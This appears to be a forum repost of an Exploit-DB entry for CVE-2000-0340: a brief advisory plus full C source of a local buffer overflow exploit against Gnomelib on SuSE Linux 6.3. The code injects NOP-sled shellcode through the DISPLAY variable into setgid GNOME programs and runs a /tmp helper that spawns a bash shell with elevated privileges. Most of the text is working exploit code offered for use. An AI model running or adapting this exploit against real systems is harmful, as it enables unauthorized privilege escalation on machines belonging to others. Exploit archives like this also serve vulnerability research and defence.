- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 19883
- Проверка EDB
-
- Пройдено
- Автор
- BLADI
- Тип уязвимости
- LOCAL
- Платформа
- LINUX
- CVE
- cve-2000-0340
- Дата публикации
- 2000-04-29
SuSE Linux 6.3/6.4 Gnomelib - Local Buffer Overflow
C:
// source: https://www.securityfocus.com/bid/1155/info
A vulnerability exists in the handling of the DISPLAY variable, in versions of Gnomelib shipped with S.u.S.E. Linux, version 6.3. By supplying a long buffer containing machine executable code in the DISPLAY environment variable, it is possible to execute arbitrary code with the permissions of the user running the binary. In the case of a setuid binary, it is possible to obtain the privileges of the user it is setuid to. This in turn may be used to elevate privileges, and in theory could result in local root compromise.
S.u.S.E. 6.3 ships with 1 setgid application, /opt/gnome/sbin/gnome-pty-helper, which is setgid tty. 6.4 ships with setgid gnome games. The version of gnomelib included with S.u.S.E. 6.4 is not vulnerable to this attack, however.
/*
Gnomelib exploit by bladi & aLmUDeNa
All gnome apps have an exploitable buffer overflow
(gnomelib) when get DISPLAY environment variable.
Affected: S.u.S.E Linux: 6.3
Not vulnerable: RedHat 6.x
Linpus Linux release 6.3
Debian
NoTe:
don't forget to put 6M in /tmp
---------(6M.c)---------
void main() {
setuid(geteuid());
setregid(getegid(), getegid());
system("/bin/bash");
}
---------(6M.c)---------
Bueno un saludo a todos los que nos conocen/quieren/odian,
bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*
[email protected]
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90
#define RANFROM -1400
#define RANTO -300
int i,x;
char *ptr;
unsigned long *ptr2;
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
char buffer[164];
main(int argc, char *argv[])
{ long get_sp(void)
{
__asm__("movl %esp,%eax\n");
}
printf (" jpuff ver: 1.0 \n");
printf (" by \n");
printf (" bladi & aLmUDeNa\n\n");
if (argc < 2 )
{
printf(" Usage ./jpuff <gnome app>\n");
printf(" Try: ./jpuff /opt/gnome/bin/sol => you gain
gid=40(game)\n");
exit(1);
}
for (x=RANFROM;x<RANTO;x=13+x)
{
for(i=0;i<164;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<22;i++)
*(ptr++)=NOP;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=0;i<20;i++)
*(ptr2++)=get_sp()+x;
setenv("DISPLAY",buffer,1);
system(argv[1]);
}
printf("\n- --( ExPLoIT DoNE )-- -\n");
printf("Have a lot of fun... ;*\n\n");
return 0;
}
- Источник
- www.exploit-db.com